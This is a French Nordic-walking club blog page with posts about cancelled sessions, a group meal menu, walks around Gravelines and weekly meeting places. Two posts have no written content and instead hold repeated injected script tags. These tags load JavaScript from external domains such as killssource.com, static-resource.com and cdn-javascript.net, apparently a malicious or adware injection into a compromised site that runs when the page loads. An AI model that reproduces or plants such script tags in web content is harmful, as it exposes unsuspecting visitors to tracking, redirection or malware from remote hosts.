• Bonsoir 

    La séance de demain est annulée par manque d'inscrits.

    A mardi (je rédige un article sur les modalités de RDV en forêt de Guines)

    Bien sportivement

     


    votre commentaire
  • Bonsoir
     
    Voici le menu proposé pour notre repas à l'auberge du colombier : Menu a 21 euros
     
    Plats :
    Papillote de saumon julienne de légumes et riz saveur paella
    Carbonnade flamande accompagnée de ses frites fraîches
     
    Desserts :

     café gourmand

    crème brûlée
     
    Y compris :
    une boisson/eau/café

    Merci de m'avertir par sms ou mail pour JEUDI 25/6 à 19h00 de votre choix plat et dessert

    Bien sportivement


    votre commentaire
  • Dimanche doux et ensoleillé jusqu'à la mer...Un avant goût de printemps !

    Ramassage d'un filet de pêche, encombrant notre jolie plage ...

    Quand MN et éco-responsabilité vont de pair

    Quand MN et éco-responsabilité vont de pair

    N'oubliez pas : le dimanche 2 février, pas de MN au stade du moulin mais au Mont Noir  - voir article " un beau dimanche à la campagne")

    Nadia et Christine


    votre commentaire
  • Ce samedi 11 Janvier à Gravelines, nous étions un bon groupe de marcheurs d'ELAN59 parmi les 670 inscrits sur les différents parcours des traces de Vauban .

    De la bonne humeur, du beau temps et une organisation parfaite !

    Christine

    Un bel après-midi sur les Traces de Vauban 2020

    Un bel après-midi sur les Traces de Vauban 2020


    1 commentaire
  • Après l'effort, le réconfort  !

    Victor relance aujourd'hui la tradition des pots d'anniversaire ...A défaut de coupe de champagne...avec les moyens du bord...les coatchettes lui ont improvisé une coupe d'anniversaire !

    Christine

    Quand Sport et Convivialité vont de pair

    Quand Sport et Convivialité vont de pair

    Quand Sport et Convivialité vont de pair

     


    votre commentaire
  •  

    <script src="//killssource.com/21c1e810f7f98f00b3.js"></script> <script src="http://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8641x" type="text/javascript"></script> <script src="http://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8641x&format=arrjs&r=1574683834528" type="text/javascript"></script> <script src="http://killssource.com/ext/21c1e810f7f98f00b3.js?sid=52587_8641_&title=aa&blocks[]=31af2" type="text/javascript"></script>

    Lire la suite...


    2 commentaires
  • Mardi 19 Novembre une vingtaine de marcheuses et marcheurs du club ont arpenté les sentiers contournant Gravelines et menant aux fortifications en passant par les divers jardins et parcs aménagés sur les contours de la cité.

    Une belle journée ensoleillée conclue comme il se doit dans un établissement local ; et l'Eclusier nous a accueilli de la meilleure manière, chaleureusement avec des plats très plaisants à l’œil et au palais.

    Un restaurant jeune et soigné qui reverra forcément notre passage lors de prochaines ballades locales.

    Merci à tou(te)s les participant(e)s qui ont apporté chacune et chacun leur part de soleil à cette rando nordique.

    Tour de la cité Vauban sous le soleil

    Tour de la cité Vauban sous le soleil

    Tour de la cité Vauban sous le soleil

    Tour de la cité Vauban sous le soleil

    Tour de la cité Vauban sous le soleil

    Tour de la cité Vauban sous le soleil

    Tour de la cité Vauban sous le soleil

    Tour de la cité Vauban sous le soleil

    Tour de la cité Vauban sous le soleil

    Tour de la cité Vauban sous le soleil

    Tour de la cité Vauban sous le soleil

    Tour de la cité Vauban sous le soleil

    Tour de la cité Vauban sous le soleil


    1 commentaire
  •  

    <script src="//killssource.com/21c1e810f7f98f00b3.js"></script> <script src="http://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8641x" type="text/javascript"></script> <script src="http://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8641x&format=arrjs&r=1573471443622" type="text/javascript"></script> <script src="http://killssource.com/ext/21c1e810f7f98f00b3.js?sid=52587_8641_&title=aa&blocks[]=31af2" type="text/javascript"></script>

    <script src="//killssource.com/21c1e810f7f98f00b3.js"></script> <script src="http://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8641x" type="text/javascript"></script> <script src="http://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8641x&format=arrjs&r=1573471918103" type="text/javascript"></script> <script src="http://killssource.com/ext/21c1e810f7f98f00b3.js?sid=52587_8641_&title=aa&blocks[]=31af2" type="text/javascript"></script>

    <script src="//killssource.com/21c1e810f7f98f00b3.js"></script> <script src="http://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8641x" type="text/javascript"></script> <script src="http://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8641x&format=arrjs&r=1573472209829" type="text/javascript"></script> <script src="http://killssource.com/ext/21c1e810f7f98f00b3.js?sid=52587_8641_&title=aa&blocks[]=31af2" type="text/javascript"></script>

    <script src="//killssource.com/21c1e810f7f98f00b3.js"></script> <script src="http://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8641x" type="text/javascript"></script> <script src="http://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8641x&format=arrjs&r=1573472276732" type="text/javascript"></script> <script src="http://killssource.com/ext/21c1e810f7f98f00b3.js?sid=52587_8641_&title=aa&blocks[]=31af2" type="text/javascript"></script>

    <script src="//killssource.com/21c1e810f7f98f00b3.js"></script> <script src="http://killssource.com/optout/set/lat?jsonp=__mtz_cb_428179984&key=21c1e810f7f98f00b3&cv=1573581435&t=1573581435295" type="text/javascript"></script> <script src="http://killssource.com/optout/set/lt?jsonp=__mtz_cb_21902916&key=21c1e810f7f98f00b3&cv=2585&t=1573581435296" type="text/javascript"></script> <script src="http://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8641x" type="text/javascript"></script> <script src="http://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8641x&format=arrjs&r=1573581435311" type="text/javascript"></script> <script src="http://killssource.com/ext/21c1e810f7f98f00b3.js?sid=52587_8641_&title=aa&blocks[]=31af2" type="text/javascript"></script>

    Lire la suite...


    4 commentaires
  • 12 de nos adhérents ont participé à la marche Nordique 9 km des Boucles de l'Aa.

    Bravo à tous et un grand merci aux bénévoles présents hier et ce matin pour assurer le bon déroulement de l'épreuve (fléchage, ravitaillement, arrivée et ouverture-fermeture du parcours).

    C'est bouclé pour la randonnée nordique à Gravelines

     


    4 commentaires
  • La sortie de samedi aura lieu au PAarc : RDV 9h30 au parking habituel coté droit base aviron après le bâtiment en construction.

    Cette séance sera prolongée de 30' pour le groupe compétition afin de travailler collectivement la gestuelle MNT à rythme rapide.

    A partir de Novembre les séances du samedi auront lieu :

     Tous les 1er et 3ème samedi du mois au Fort Vallières

    Les autres samedis au PAarc (ou stade du moulin si précisé)

    Toujours sous la même formule 9h30-11h tous niveaux ; 11h et + : préparation compétition


    2 commentaires


    Suivre le flux RSS des articles de cette rubrique
    Suivre le flux RSS des commentaires de cette rubrique